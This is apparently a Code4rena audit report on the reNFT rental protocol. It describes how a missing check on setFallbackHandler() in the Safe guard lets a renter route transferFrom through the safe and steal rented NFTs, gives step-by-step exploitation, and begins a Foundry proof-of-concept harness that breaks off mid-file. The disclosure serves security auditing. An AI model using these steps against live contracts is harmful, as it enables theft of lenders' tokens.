code-423n4 / 2024-01-renft-findings

2 stars 0 forks source link

An attacker is able to hijack any ERC721 / ERC1155 he borrows because guard is missing validation on the address supplied to function call `setFallbackHandler()` #593

Open c4-bot-2 opened 9 months ago

c4-bot-2 commented 9 months ago

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195

Vulnerability details

Pre-requisite knowledge & an overview of the features in question


  1. Gnosis safe fallback handlers: Safes starting with version 1.1.1 allow to specify a fallback handler. A gnosis safe fallback handler is a contract which handles all functions that is unknown to the safe, this feature is meant to provide a great flexibility for the safe user. The safe in particular says "If I see something unknown, then I just let the fallback handler deal with it."

    Example: If you want to take a uniswap flash loan using your gnosis safe, you'll have to create a fallback handler contract with the callback function uniswapV2Call(). When you decide to take a flash loan using your safe, you'll send a call to swap() in the uniswap contract. The uniswap contract will then reach out to your safe contract asking to call uniswapV2Call(), but uniswapV2Call() isn't actually implemented in the safe contract itself, so your safe will reach out to the fallback handler you created, set as the safe's fallback handler and ask it to handle the uniswapV2Call() TX coming from uniswap.

    Setting a fallback handler: To set a fallback handler for your safe, you'll have to call the function setFallbackHandler() which you can find it's logic in FallbackManager.sol

  2. Gnosis safe guards: A gnosis guard is a contract that acts as a transaction guard which allows the owner of the safe to limit the contracts and functions that may be called by the multisig owners of the safe. ReNFT has created it's own gnosis guard contract, which is Guard.sol.

    Example utility: When you ask reNFT to create a rental safe for you by calling deployRentalSafe() in Factory.sol, reNFT creates a rental safe for you and automatically installs it's own guard contract on it. Everytime you send a call from your gnosis safe, this call has to first pass through that guard. If you're for example, trying to move a NFT token you rented using transferFrom(), it'll prevent you from doing so. When it intercepts the transaction you're trying to send, it checks for a list of function signatures that can be malicious, for example it checks if you're trying to enable/disable a module it has not authorized. It checks if you're trying to change the guard contract address itself, It also checks if you're trying to transfer or approve a rented NFT or ERC1155 token using the most common functions like approve(), safeTransferFrom(), transferFrom(), setApprovalForAll(). This guard acts as the single and most important defense line against rented ERC721/1155 token theft.


The Vulnerability & Exploitation Steps


While the gnosis guard checks for a comprehensive list of potentially malicious function calls, it doesn't have any validation or checks for the address parameter of the function setFallbackHandler(address handler), which is the function used by the rental safe owner to set a fallback handler his safe. This is super dangerous because it allows an attacker to hijack ANY ERC721 or ERC1155 token he rents by following these steps:

  1. Sets the fallback handler address of the safe to be the address of the token he rented which he wants to hijack, let's say it's an ERC721 token.

  2. Sends a transferFrom(from, to, tokenId) call to the gnosis safe contract while supplying the following parameters:

    1. from -> the address of the rental safe holding the token.
    2. to -> the address of the attacker himself.
    3. tokenId -> the ID of the token he wants to hijack.
  3. The gnosis safe contract doesn't have the function transferFrom() implemented, so it'll reach out and send a call to the fallback handler address which is the address of the rented token contract and forward the calldata gnosis received from the attacker's call to the rented token contract.

  4. Since it's the gnosis rental safe talking to the the rented token contract, and since the rental safe is the owner of the NFT, the ERC721 rented token contract will happily make the transfer and send the token to the attacker.

  5. Token is hijacked, and the lender of the token won't be able to get it back or get the funds he's supposed to receive from the rental process.


Proof of concept


To run the PoC, you'll need to do the following:

  1. You'll need to add the following two files to the test/ folder:
    1. SetupExploit.sol -> Sets up everything from seaport, gnosis, reNFT contracts
    2. Exploit.sol -> The actual exploit PoC which relies on SetupExploit.sol as a base.
  2. You'll need to run this command forge test --match-contract Exploit --match-test test_ERC721_1155_Exploit -vvv

Note: All of my 7 PoCs throughout my reports include the SetupExploit.sol. Please do not rely on the previous SetupExploit.sol file if you already had one in the tests/ folder. In some PoCs, there are slight modifications done in that file to properly set up the test infrastructure for the exploit

The files:

SetupExploit.sol
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import { ConsiderationItem, OfferItem, OrderParameters, OrderComponents, Order, AdvancedOrder, ItemType, ItemType as SeaportItemType, CriteriaResolver, OrderType as SeaportOrderType, Fulfillment, FulfillmentComponent } from "@seaport-types/lib/ConsiderationStructs.sol"; import { AdvancedOrderLib, ConsiderationItemLib, FulfillmentComponentLib, FulfillmentLib, OfferItemLib, OrderComponentsLib, OrderLib, OrderParametersLib, SeaportArrays, ZoneParametersLib } from "@seaport-sol/SeaportSol.sol"; import { OrderMetadata, OrderType, OrderFulfillment, RentPayload, RentalOrder, Item, SettleTo, ItemType as RentalItemType } from "@src/libraries/RentalStructs.sol"; import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol"; import {OrderMetadata, OrderType, Hook} from "@src/libraries/RentalStructs.sol"; import {Vm} from "@forge-std/Vm.sol"; import {Assertions} from "@test/utils/Assertions.sol"; import {Constants} from "@test/utils/Constants.sol"; import {LibString} from "@solady/utils/LibString.sol"; import {SafeL2} from "@safe-contracts/SafeL2.sol"; import {BaseExternal} from "@test/fixtures/external/BaseExternal.sol"; import {Create2Deployer} from "@src/Create2Deployer.sol"; import {Kernel, Actions} from "@src/Kernel.sol"; import {Storage} from "@src/modules/Storage.sol"; import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol"; import {Create} from "@src/policies/Create.sol"; import {Stop} from "@src/policies/Stop.sol"; import {Factory} from "@src/policies/Factory.sol"; import {Admin} from "@src/policies/Admin.sol"; import {Guard} from "@src/policies/Guard.sol"; import {toRole} from "@src/libraries/KernelUtils.sol"; import {Proxy} from "@src/proxy/Proxy.sol"; import {Events} from "@src/libraries/Events.sol"; import {ProtocolAccount} from "@test/utils/Types.sol"; import {MockERC20} from "@test/mocks/tokens/standard/MockERC20.sol"; import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol"; import {MockERC1155} from "@test/mocks/tokens/standard/MockERC1155.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {Enum} from "@safe-contracts/common/Enum.sol"; import {ISafe} from "@src/interfaces/ISafe.sol"; // Deploys all V3 protocol contracts contract Protocol is BaseExternal { // Kernel Kernel public kernel; // Modules Storage public STORE; PaymentEscrow public ESCRW; // Module implementation addresses Storage public storageImplementation; PaymentEscrow public paymentEscrowImplementation; // Policies Create public create; Stop public stop; Factory public factory; Admin public admin; Guard public guard; // Protocol accounts Vm.Wallet public rentalSigner; Vm.Wallet public deployer; // protocol constants bytes12 public protocolVersion; bytes32 public salt; function _deployKernel() internal { // abi encode the kernel bytecode and constructor arguments bytes memory kernelInitCode = abi.encodePacked( type(Kernel).creationCode, abi.encode(deployer.addr, deployer.addr) ); // Deploy kernel contract vm.prank(deployer.addr); kernel = Kernel(create2Deployer.deploy(salt, kernelInitCode)); // label the contract vm.label(address(kernel), "kernel"); } function _deployStorageModule() internal { // abi encode the storage bytecode and constructor arguments // for the implementation contract bytes memory storageImplementationInitCode = abi.encodePacked( type(Storage).creationCode, abi.encode(address(0)) ); // Deploy storage implementation contract vm.prank(deployer.addr); storageImplementation = Storage( create2Deployer.deploy(salt, storageImplementationInitCode) ); // abi encode the storage bytecode and initialization arguments // for the proxy contract bytes memory storageProxyInitCode = abi.encodePacked( type(Proxy).creationCode, abi.encode( address(storageImplementation), abi.encodeWithSelector( Storage.MODULE_PROXY_INSTANTIATION.selector, address(kernel) ) ) ); // Deploy storage proxy contract vm.prank(deployer.addr); STORE = Storage(create2Deployer.deploy(salt, storageProxyInitCode)); // label the contracts vm.label(address(STORE), "STORE"); vm.label(address(storageImplementation), "STORE_IMPLEMENTATION"); } function _deployPaymentEscrowModule() internal { // abi encode the payment escrow bytecode and constructor arguments // for the implementation contract bytes memory paymentEscrowImplementationInitCode = abi.encodePacked( type(PaymentEscrow).creationCode, abi.encode(address(0)) ); // Deploy payment escrow implementation contract vm.prank(deployer.addr); paymentEscrowImplementation = PaymentEscrow( create2Deployer.deploy(salt, paymentEscrowImplementationInitCode) ); // abi encode the payment escrow bytecode and initialization arguments // for the proxy contract bytes memory paymentEscrowProxyInitCode = abi.encodePacked( type(Proxy).creationCode, abi.encode( address(paymentEscrowImplementation), abi.encodeWithSelector( PaymentEscrow.MODULE_PROXY_INSTANTIATION.selector, address(kernel) ) ) ); // Deploy payment escrow contract vm.prank(deployer.addr); ESCRW = PaymentEscrow(create2Deployer.deploy(salt, paymentEscrowProxyInitCode)); // label the contracts vm.label(address(ESCRW), "ESCRW"); vm.label(address(paymentEscrowImplementation), "ESCRW_IMPLEMENTATION"); } function _deployCreatePolicy() internal { // abi encode the create policy bytecode and constructor arguments bytes memory createInitCode = abi.encodePacked( type(Create).creationCode, abi.encode(address(kernel)) ); // Deploy create rental policy contract vm.prank(deployer.addr); create = Create(create2Deployer.deploy(salt, createInitCode)); // label the contract vm.label(address(create), "CreatePolicy"); } function _deployStopPolicy() internal { // abi encode the stop policy bytecode and constructor arguments bytes memory stopInitCode = abi.encodePacked( type(Stop).creationCode, abi.encode(address(kernel)) ); // Deploy stop rental policy contract vm.prank(deployer.addr); stop = Stop(create2Deployer.deploy(salt, stopInitCode)); // label the contract vm.label(address(stop), "StopPolicy"); } function _deployAdminPolicy() internal { // abi encode the admin policy bytecode and constructor arguments bytes memory adminInitCode = abi.encodePacked( type(Admin).creationCode, abi.encode(address(kernel)) ); // Deploy admin policy contract vm.prank(deployer.addr); admin = Admin(create2Deployer.deploy(salt, adminInitCode)); // label the contract vm.label(address(admin), "AdminPolicy"); } function _deployGuardPolicy() internal { // abi encode the guard policy bytecode and constructor arguments bytes memory guardInitCode = abi.encodePacked( type(Guard).creationCode, abi.encode(address(kernel)) ); // Deploy guard policy contract vm.prank(deployer.addr); guard = Guard(create2Deployer.deploy(salt, guardInitCode)); // label the contract vm.label(address(guard), "GuardPolicy"); } function _deployFactoryPolicy() internal { // abi encode the factory policy bytecode and constructor arguments bytes memory factoryInitCode = abi.encodePacked( type(Factory).creationCode, abi.encode( address(kernel), address(stop), address(guard), address(tokenCallbackHandler), address(safeProxyFactory), address(safeSingleton) ) ); // Deploy factory policy contract vm.prank(deployer.addr); factory = Factory(create2Deployer.deploy(salt, factoryInitCode)); // label the contract vm.label(address(factory), "FactoryPolicy"); } function _setupKernel() internal { // Start impersonating the deployer vm.startPrank(deployer.addr); // Install modules kernel.executeAction(Actions.InstallModule, address(STORE)); kernel.executeAction(Actions.InstallModule, address(ESCRW)); // Approve policies kernel.executeAction(Actions.ActivatePolicy, address(create)); kernel.executeAction(Actions.ActivatePolicy, address(stop)); kernel.executeAction(Actions.ActivatePolicy, address(factory)); kernel.executeAction(Actions.ActivatePolicy, address(guard)); kernel.executeAction(Actions.ActivatePolicy, address(admin)); // Grant `seaport` role to seaport protocol kernel.grantRole(toRole("SEAPORT"), address(seaport)); // Grant `signer` role to the protocol signer to sign off on create payloads kernel.grantRole(toRole("CREATE_SIGNER"), rentalSigner.addr); // Grant 'admin_admin` role to the address which can conduct admin operations on the protocol kernel.grantRole(toRole("ADMIN_ADMIN"), deployer.addr); // Grant 'guard_admin` role to the address which can toggle hooks kernel.grantRole(toRole("GUARD_ADMIN"), deployer.addr); // Grant `stop_admin` role to the address which can skim funds from the payment escrow kernel.grantRole(toRole("STOP_ADMIN"), deployer.addr); // Stop impersonating the deployer vm.stopPrank(); } function setUp() public virtual override { // setup dependencies super.setUp(); // create the rental signer address and private key rentalSigner = vm.createWallet("rentalSigner"); // create the deployer address and private key deployer = vm.createWallet("deployer"); // contract salts (using 0x000000000000000000000100 to represent a version 1.0.0 of each contract) protocolVersion = 0x000000000000000000000100; salt = create2Deployer.generateSaltWithSender(deployer.addr, protocolVersion); // deploy kernel _deployKernel(); // Deploy payment escrow _deployPaymentEscrowModule(); // Deploy rental storage _deployStorageModule(); // deploy create policy _deployCreatePolicy(); // deploy stop policy _deployStopPolicy(); // deploy admin policy _deployAdminPolicy(); // Deploy guard policy _deployGuardPolicy(); // deploy rental factory _deployFactoryPolicy(); // intialize the kernel _setupKernel(); } } // Creates test accounts to interact with the V3 protocol // Borrowed from test/fixtures/protocol/AccountCreator contract AccountCreator is Protocol { // Protocol accounts for testing ProtocolAccount public alice; ProtocolAccount public bob; ProtocolAccount public carol; ProtocolAccount public dan; ProtocolAccount public eve; ProtocolAccount public attacker; // Mock tokens for testing MockERC20[] public erc20s; MockERC721[] public erc721s; MockERC1155[] public erc1155s; function setUp() public virtual override { super.setUp(); // deploy 3 erc20 tokens, 3 erc721 tokens, and 3 erc1155 tokens _deployTokens(3); // instantiate all wallets and deploy rental safes for each alice = _fundWalletAndDeployRentalSafe("alice"); bob = _fundWalletAndDeployRentalSafe("bob"); carol = _fundWalletAndDeployRentalSafe("carol"); dan = _fundWalletAndDeployRentalSafe("dan"); eve = _fundWalletAndDeployRentalSafe("eve"); attacker = _fundWalletAndDeployRentalSafe("attacker"); } function _deployTokens(uint256 numTokens) internal { for (uint256 i; i < numTokens; i++) { _deployErc20Token(); _deployErc721Token(); _deployErc1155Token(); } } function _deployErc20Token() internal returns (uint256 i) { // save the token's index i = erc20s.length; // deploy the mock token MockERC20 token = new MockERC20(); // push the token to the array of mocks erc20s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC20_", LibString.toString(i))); } function _deployErc721Token() internal returns (uint256 i) { // save the token's index i = erc721s.length; // deploy the mock token MockERC721 token = new MockERC721(); // push the token to the array of mocks erc721s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC721_", LibString.toString(i))); } function _deployErc1155Token() internal returns (uint256 i) { // save the token's index i = erc1155s.length; // deploy the mock token MockERC1155 token = new MockERC1155(); // push the token to the array of mocks erc1155s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC1155_", LibString.toString(i))); } function _deployRentalSafe( address owner, string memory name ) internal returns (address safe) { // Deploy a 1/1 rental safe address[] memory owners = new address[](1); owners[0] = owner; safe = factory.deployRentalSafe(owners, 1); } function _fundWalletAndDeployRentalSafe( string memory name ) internal returns (ProtocolAccount memory account) { // create a wallet with a address, public key, and private key Vm.Wallet memory wallet = vm.createWallet(name); // deploy a rental safe for the address address rentalSafe = _deployRentalSafe(wallet.addr, name); // fund the wallet with ether, all erc20s, and approve the conduit for erc20s, erc721s, erc1155s _allocateTokensAndApprovals(wallet.addr, 10000); // create an account account = ProtocolAccount({ addr: wallet.addr, safe: SafeL2(payable(rentalSafe)), publicKeyX: wallet.publicKeyX, publicKeyY: wallet.publicKeyY, privateKey: wallet.privateKey }); } function _allocateTokensAndApprovals(address to, uint128 amount) internal { // deal ether to the recipient vm.deal(to, amount); // mint all erc20 tokens to the recipient for (uint256 i = 0; i < erc20s.length; ++i) { erc20s[i].mint(to, amount); } // set token approvals _setApprovals(to); } function _setApprovals(address owner) internal { // impersonate the owner address vm.startPrank(owner); // set all approvals for erc20 tokens for (uint256 i = 0; i < erc20s.length; ++i) { erc20s[i].approve(address(conduit), type(uint256).max); } // set all approvals for erc721 tokens for (uint256 i = 0; i < erc721s.length; ++i) { erc721s[i].setApprovalForAll(address(conduit), true); } // set all approvals for erc1155 tokens for (uint256 i = 0; i < erc1155s.length; ++i) { erc1155s[i].setApprovalForAll(address(conduit), true); } // stop impersonating vm.stopPrank(); } } interface ERC1155TokenReceiver { function onERC1155Received( address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data ) external returns (bytes4); function onERC1155BatchReceived( address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data ) external returns (bytes4); } interface ERC721TokenReceiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4); } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * Borrowed from gnosis safe smart contracts * @title Default Callback Handler - Handles supported tokens' callbacks, allowing Safes receiving these tokens. * @author Richard Meissner - @rmeissner */ contract TokenCallbackHandler is ERC1155TokenReceiver, ERC721TokenReceiver, IERC165 { /** * @notice Handles ERC1155 Token callback. * return Standardized onERC1155Received return value. */ function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure override returns (bytes4) { return 0xf23a6e61; } /** * @notice Handles ERC1155 Token batch callback. * return Standardized onERC1155BatchReceived return value. */ function onERC1155BatchReceived( address, address, uint256[] calldata, uint256[] calldata, bytes calldata ) external pure override returns (bytes4) { return 0xbc197c81; } /** * @notice Handles ERC721 Token callback. * return Standardized onERC721Received return value. */ function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) { return 0x150b7a02; } /** * @notice Handles ERC777 Token callback. * return nothing (not standardized) */ function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external pure { // We implement this for completeness, doesn't really have any value } /** * @notice Implements ERC165 interface support for ERC1155TokenReceiver, ERC721TokenReceiver and IERC165. * @param interfaceId Id of the interface. * @return if the interface is supported. */ function supportsInterface(bytes4 interfaceId) external view virtual override returns (bool) { return interfaceId == type(ERC1155TokenReceiver).interfaceId || interfaceId == type(ERC721TokenReceiver).interfaceId || interfaceId == type(IERC165).interfaceId; } } // Sets up logic in the test engine related to order creation // Borrowed from test/fixtures/engine/OrderCreator contract OrderCreator is AccountCreator { using OfferItemLib for OfferItem; using ConsiderationItemLib for ConsiderationItem; using OrderComponentsLib for OrderComponents; using OrderLib for Order; using ECDSA for bytes32; // defines a config for a standard order component string constant STANDARD_ORDER_COMPONENTS = "standard_order_components"; struct OrderToCreate { ProtocolAccount offerer; OfferItem[] offerItems; ConsiderationItem[] considerationItems; OrderMetadata metadata; } // keeps track of tokens used during a test uint256[] usedOfferERC721s; uint256[] usedOfferERC1155s; uint256[] usedConsiderationERC721s; uint256[] usedConsiderationERC1155s; // components of an order OrderToCreate orderToCreate; function setUp() public virtual override { super.setUp(); // Define a standard OrderComponents struct which is ready for // use with the Create Policy and the protocol conduit contract OrderComponentsLib .empty() .withOrderType(SeaportOrderType.FULL_RESTRICTED) .withZone(address(create)) .withStartTime(block.timestamp) .withEndTime(block.timestamp + 100) .withSalt(123456789) .withConduitKey(conduitKey) .saveDefault(STANDARD_ORDER_COMPONENTS); // for each test token, create a storage slot for (uint256 i = 0; i < erc721s.length; i++) { usedOfferERC721s.push(); usedConsiderationERC721s.push(); usedOfferERC1155s.push(); usedConsiderationERC1155s.push(); } } ///////////////////////////////////////////////////////////////////////////////// // Order Creation // ///////////////////////////////////////////////////////////////////////////////// // creates an order based on the provided context. The defaults on this order // are good for most test cases. function createOrder( ProtocolAccount memory offerer, OrderType orderType, uint256 erc721Offers, uint256 erc1155Offers, uint256 erc20Offers, uint256 erc721Considerations, uint256 erc1155Considerations, uint256 erc20Considerations ) internal { // require that the number of offer items or consideration items // dont exceed the number of test tokens require( erc721Offers <= erc721s.length && erc721Offers <= erc1155s.length && erc20Offers <= erc20s.length, "TEST: too many offer items defined" ); require( erc721Considerations <= erc721s.length && erc1155Considerations <= erc1155s.length && erc20Considerations <= erc20s.length, "TEST: too many consideration items defined" ); // create the offerer _createOfferer(offerer); // add the offer items _createOfferItems(erc721Offers, erc1155Offers, erc20Offers); // create the consideration items _createConsiderationItems( erc721Considerations, erc1155Considerations, erc20Considerations ); // Create order metadata _createOrderMetadata(orderType); } // Creates an offerer on the order to create function _createOfferer(ProtocolAccount memory offerer) private { orderToCreate.offerer = offerer; } // Creates offer items which are good for most tests function _createOfferItems( uint256 erc721Offers, uint256 erc1155Offers, uint256 erc20Offers ) private { // generate the ERC721 offer items for (uint256 i = 0; i < erc721Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC721) .withToken(address(erc721s[i])) .withIdentifierOrCriteria(usedOfferERC721s[i]) .withStartAmount(1) .withEndAmount(1) ); // mint an erc721 to the offerer erc721s[i].mint(orderToCreate.offerer.addr); // update the used token so it cannot be used again in the same test usedOfferERC721s[i]++; } // generate the ERC1155 offer items for (uint256 i = 0; i < erc1155Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC1155) .withToken(address(erc1155s[i])) .withIdentifierOrCriteria(usedOfferERC1155s[i]) .withStartAmount(100) .withEndAmount(100) ); // mint an erc1155 to the offerer erc1155s[i].mint(orderToCreate.offerer.addr, 100); // update the used token so it cannot be used again in the same test usedOfferERC1155s[i]++; } // generate the ERC20 offer items for (uint256 i = 0; i < erc20Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC20) .withToken(address(erc20s[i])) .withStartAmount(100) .withEndAmount(100) ); } } // Creates consideration items that are good for most tests function _createConsiderationItems( uint256 erc721Considerations, uint256 erc1155Considerations, uint256 erc20Considerations ) private { // generate the ERC721 consideration items for (uint256 i = 0; i < erc721Considerations; ++i) { // create the consideration item, and set the recipient as the offerer's // rental safe address orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(orderToCreate.offerer.safe)) .withItemType(ItemType.ERC721) .withToken(address(erc721s[i])) .withIdentifierOrCriteria(usedConsiderationERC721s[i]) .withStartAmount(1) .withEndAmount(1) ); // update the used token so it cannot be used again in the same test usedConsiderationERC721s[i]++; } // generate the ERC1155 consideration items for (uint256 i = 0; i < erc1155Considerations; ++i) { // create the consideration item, and set the recipient as the offerer's // rental safe address orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(orderToCreate.offerer.safe)) .withItemType(ItemType.ERC1155) .withToken(address(erc1155s[i])) .withIdentifierOrCriteria(usedConsiderationERC1155s[i]) .withStartAmount(100) .withEndAmount(100) ); // update the used token so it cannot be used again in the same test usedConsiderationERC1155s[i]++; } // generate the ERC20 consideration items for (uint256 i = 0; i < erc20Considerations; ++i) { // create the offer item orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(ESCRW)) .withItemType(ItemType.ERC20) .withToken(address(erc20s[i])) .withStartAmount(100) .withEndAmount(100) ); } } // Creates a order metadata that is good for most tests function _createOrderMetadata(OrderType orderType) private { // Create order metadata orderToCreate.metadata.orderType = orderType; orderToCreate.metadata.rentDuration = 500; orderToCreate.metadata.emittedExtraData = new bytes(0); } // creates a signed seaport order ready to be fulfilled by a renter function _createSignedOrder( ProtocolAccount memory _offerer, OfferItem[] memory _offerItems, ConsiderationItem[] memory _considerationItems, OrderMetadata memory _metadata ) private view returns (Order memory order, bytes32 orderHash) { // Build the order components OrderComponents memory orderComponents = OrderComponentsLib .fromDefault(STANDARD_ORDER_COMPONENTS) .withOfferer(_offerer.addr) .withOffer(_offerItems) .withConsideration(_considerationItems) .withZoneHash(create.getOrderMetadataHash(_metadata)) .withCounter(seaport.getCounter(_offerer.addr)); // generate the order hash orderHash = seaport.getOrderHash(orderComponents); // generate the signature for the order components bytes memory signature = _signSeaportOrder(_offerer.privateKey, orderHash); // create the order, but dont provide a signature if its a PAYEE order. // Since PAYEE orders are fulfilled by the offerer of the order, they // dont need a signature. if (_metadata.orderType == OrderType.PAYEE) { order = OrderLib.empty().withParameters(orderComponents.toOrderParameters()); } else { order = OrderLib .empty() .withParameters(orderComponents.toOrderParameters()) .withSignature(signature); } } function _signSeaportOrder( uint256 signerPrivateKey, bytes32 orderHash ) private view returns (bytes memory signature) { // fetch domain separator from seaport (, bytes32 domainSeparator, ) = seaport.information(); // sign the EIP-712 digest (uint8 v, bytes32 r, bytes32 s) = vm.sign( signerPrivateKey, domainSeparator.toTypedDataHash(orderHash) ); // encode the signature signature = abi.encodePacked(r, s, v); } ///////////////////////////////////////////////////////////////////////////////// // Order Amendments // ///////////////////////////////////////////////////////////////////////////////// function resetOrderToCreate() internal { delete orderToCreate; } function withOfferer(ProtocolAccount memory _offerer) internal { orderToCreate.offerer = _offerer; } function resetOfferer() internal { delete orderToCreate.offerer; } function withReplacedOfferItems(OfferItem[] memory _offerItems) internal { // reset all current offer items resetOfferItems(); // add the new offer items to storage for (uint256 i = 0; i < _offerItems.length; i++) { orderToCreate.offerItems.push(_offerItems[i]); } } function withOfferItem(OfferItem memory offerItem) internal { orderToCreate.offerItems.push(offerItem); } function resetOfferItems() internal { delete orderToCreate.offerItems; } function popOfferItem() internal { orderToCreate.offerItems.pop(); } function withReplacedConsiderationItems( ConsiderationItem[] memory _considerationItems ) internal { // reset all current consideration items resetConsiderationItems(); // add the new consideration items to storage for (uint256 i = 0; i < _considerationItems.length; i++) { orderToCreate.considerationItems.push(_considerationItems[i]); } } function withConsiderationItem(ConsiderationItem memory considerationItem) internal { orderToCreate.considerationItems.push(considerationItem); } function resetConsiderationItems() internal { delete orderToCreate.considerationItems; } function popConsiderationItem() internal { orderToCreate.considerationItems.pop(); } function withHooks(Hook[] memory hooks) internal { // delete the current metatdata hooks delete orderToCreate.metadata.hooks; // add each metadata hook to storage for (uint256 i = 0; i < hooks.length; i++) { orderToCreate.metadata.hooks.push(hooks[i]); } } function withOrderMetadata(OrderMetadata memory _metadata) internal { // update the static metadata parameters orderToCreate.metadata.orderType = _metadata.orderType; orderToCreate.metadata.rentDuration = _metadata.rentDuration; orderToCreate.metadata.emittedExtraData = _metadata.emittedExtraData; // update the hooks withHooks(_metadata.hooks); } function resetOrderMetadata() internal { delete orderToCreate.metadata; } ///////////////////////////////////////////////////////////////////////////////// // Order Finalization // ///////////////////////////////////////////////////////////////////////////////// function finalizeOrder() internal returns (Order memory, bytes32, OrderMetadata memory) { // create and sign the order (Order memory order, bytes32 orderHash) = _createSignedOrder( orderToCreate.offerer, orderToCreate.offerItems, orderToCreate.considerationItems, orderToCreate.metadata ); // pull order metadata into memory OrderMetadata memory metadata = orderToCreate.metadata; // clear structs resetOrderToCreate(); return (order, orderHash, metadata); } } // Sets up logic in the test engine related to order fulfillment // Borrowed from test/fixtures/engine/OrderFulfiller contract OrderFulfiller is OrderCreator { using ECDSA for bytes32; struct OrderToFulfill { bytes32 orderHash; RentPayload payload; AdvancedOrder advancedOrder; } // components of a fulfillment ProtocolAccount fulfiller; OrderToFulfill[] ordersToFulfill; Fulfillment[] seaportMatchOrderFulfillments; FulfillmentComponent[][] seaportOfferFulfillments; FulfillmentComponent[][] seaportConsiderationFulfillments; address seaportRecipient; ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Creation // ///////////////////////////////////////////////////////////////////////////////// // creates an order fulfillment function createOrderFulfillment( ProtocolAccount memory _fulfiller, Order memory order, bytes32 orderHash, OrderMetadata memory metadata ) internal { // set the fulfiller account fulfiller = _fulfiller; // set the recipient of any offer items after an order is fulfilled. If the fulfillment is via // `matchAdvancedOrders`, then any unspent offer items will go to this address as well seaportRecipient = address(_fulfiller.safe); // get a pointer to a new order to fulfill OrderToFulfill storage orderToFulfill = ordersToFulfill.push(); // create an order fulfillment OrderFulfillment memory fulfillment = OrderFulfillment(address(_fulfiller.safe)); // add the order hash and fulfiller orderToFulfill.orderHash = orderHash; // create rental zone payload data _createRentalPayload( orderToFulfill.payload, RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr) ); // generate the signature for the payload bytes memory signature = _signProtocolOrder( rentalSigner.privateKey, create.getRentPayloadHash(orderToFulfill.payload) ); // create an advanced order from the order. Pass the rental // payload as extra data _createAdvancedOrder( orderToFulfill.advancedOrder, AdvancedOrder( order.parameters, 1, 1, order.signature, abi.encode(orderToFulfill.payload, signature) ) ); } function _createOrderFulfiller( ProtocolAccount storage storageFulfiller, ProtocolAccount memory _fulfiller ) private { storageFulfiller.addr = _fulfiller.addr; storageFulfiller.safe = _fulfiller.safe; storageFulfiller.publicKeyX = _fulfiller.publicKeyX; storageFulfiller.publicKeyY = _fulfiller.publicKeyY; storageFulfiller.privateKey = _fulfiller.privateKey; } function _createOrderFulfillment( OrderFulfillment storage storageFulfillment, OrderFulfillment memory fulfillment ) private { storageFulfillment.recipient = fulfillment.recipient; } function _createOrderMetadata( OrderMetadata storage storageMetadata, OrderMetadata memory metadata ) private { // Create order metadata in storage storageMetadata.orderType = metadata.orderType; storageMetadata.rentDuration = metadata.rentDuration; storageMetadata.emittedExtraData = metadata.emittedExtraData; // dynamically push the hooks from memory to storage for (uint256 i = 0; i < metadata.hooks.length; i++) { storageMetadata.hooks.push(metadata.hooks[i]); } } function _createRentalPayload( RentPayload storage storagePayload, RentPayload memory payload ) private { // set payload fulfillment on the order to fulfill _createOrderFulfillment(storagePayload.fulfillment, payload.fulfillment); // set payload metadata on the order to fulfill _createOrderMetadata(storagePayload.metadata, payload.metadata); // set payload expiration on the order to fulfill storagePayload.expiration = payload.expiration; // set payload intended fulfiller on the order to fulfill storagePayload.intendedFulfiller = payload.intendedFulfiller; } function _createAdvancedOrder( AdvancedOrder storage storageAdvancedOrder, AdvancedOrder memory advancedOrder ) private { // create the order parameters on the order to fulfill _createOrderParameters(storageAdvancedOrder.parameters, advancedOrder.parameters); // create the rest of the static parameters on the order to fulfill storageAdvancedOrder.numerator = advancedOrder.numerator; storageAdvancedOrder.denominator = advancedOrder.denominator; storageAdvancedOrder.signature = advancedOrder.signature; storageAdvancedOrder.extraData = advancedOrder.extraData; } function _createOrderParameters( OrderParameters storage storageOrderParameters, OrderParameters memory orderParameters ) private { // create the static order parameters for the order to fulfill storageOrderParameters.offerer = orderParameters.offerer; storageOrderParameters.zone = orderParameters.zone; storageOrderParameters.orderType = orderParameters.orderType; storageOrderParameters.startTime = orderParameters.startTime; storageOrderParameters.endTime = orderParameters.endTime; storageOrderParameters.zoneHash = orderParameters.zoneHash; storageOrderParameters.salt = orderParameters.salt; storageOrderParameters.conduitKey = orderParameters.conduitKey; storageOrderParameters.totalOriginalConsiderationItems = orderParameters .totalOriginalConsiderationItems; // create the dynamic order parameters for the order to fulfill for (uint256 i = 0; i < orderParameters.offer.length; i++) { storageOrderParameters.offer.push(orderParameters.offer[i]); } for (uint256 i = 0; i < orderParameters.consideration.length; i++) { storageOrderParameters.consideration.push(orderParameters.consideration[i]); } } function _createSeaportFulfillment( Fulfillment storage storageFulfillment, Fulfillment memory fulfillment ) private { // push the offer components to storage for (uint256 i = 0; i < fulfillment.offerComponents.length; i++) { storageFulfillment.offerComponents.push(fulfillment.offerComponents[i]); } // push the consideration 